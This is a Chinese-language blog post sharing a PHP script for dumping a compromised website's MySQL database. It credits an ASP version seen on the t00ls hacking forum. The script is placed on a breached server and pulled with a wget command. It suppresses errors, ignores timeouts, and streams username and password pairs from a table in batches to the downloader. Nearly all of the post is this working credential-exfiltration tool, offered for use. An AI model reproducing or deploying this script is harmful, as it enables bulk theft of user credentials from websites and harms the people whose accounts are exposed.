PHP wget方式数据库拖库脚本
在t00ls看到lcx牛分享了一个asp wget脱裤脚本。于是拿php写了一个mysql wget版本。
<?php
//author: By Gavin
//Usage: wget "http://xxx.com/wget_sql.php?sn=0&en=5000000&ln=50000" -O gavin.sql
error_reporting(0);
ignore_user_abort();
set_time_limit(0);
ob_clean();
//配置数据库信息
$DB_Server="127.0.0.1:3306";
$DB_User="root";
$DB_Pass="root";
$DB_Name="DBName";
//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
$max_limit_num = 20000;
//最大缓存条数，防止占用过多内存，根据每条数据大小调整
$max_cache_num = 5000;
$gavin_start_num = intval($_GET['sn']); //接收起始条数
$gavin_end_num = intval($_GET['en']); //接收结束条数
if (intval($_GET['ln'])) $max_limit_num = intval($_GET['ln']); //接收每次分段查询的条数
$gavin_down_num = intval($gavin_end_num - $gavin_start_num); //计算总下载条数
if ($gavin_end_num < $max_limit_num) $max_limit_num = $gavin_end_num;
$beishu = intval($gavin_down_num/$max_limit_num);
$yushu = intval($gavin_down_num%$max_limit_num);
$conn=@mysql_connect($DB_Server,$DB_User,$DB_Pass);
if ($conn==FALSE) {
echo "数据库连接出错!<br>";
exit();
}
if (@mysql_select_db($DB_Name,$conn)==FALSE) {
echo "打开数据库:".$DB_Name." 失败!";
exit();
}
mysql_query("set names 'utf8'");
$num = 1;
$out_put_str = '';
if (ob_get_level() == 0) ob_start();
for ($i=0;$i<$beishu;$i++){
$new_start_num = $i*$max_limit_num+$gavin_start_num;
if ($i == ($beishu-1)) $max_limit_num += $yushu;
$sql = "select username,password from `table_name` limit ".$new_start_num.",".$max_limit_num; //配置SQL语句
$res = mysql_query($sql) or die(mysql_error());
while($result = mysql_fetch_array($res))
{
$num ++;
$out_put_str = $result["username"]."-->".$result["password"]."\n";//格式化脱出的数据,根据SQL中的字段调整
if ($num >= $max_cache_num){
@ob_end_flush();
$num = 0;
}
echo $out_put_str;
// unset($out_put_str);
}
}
?>
本地测试截图：
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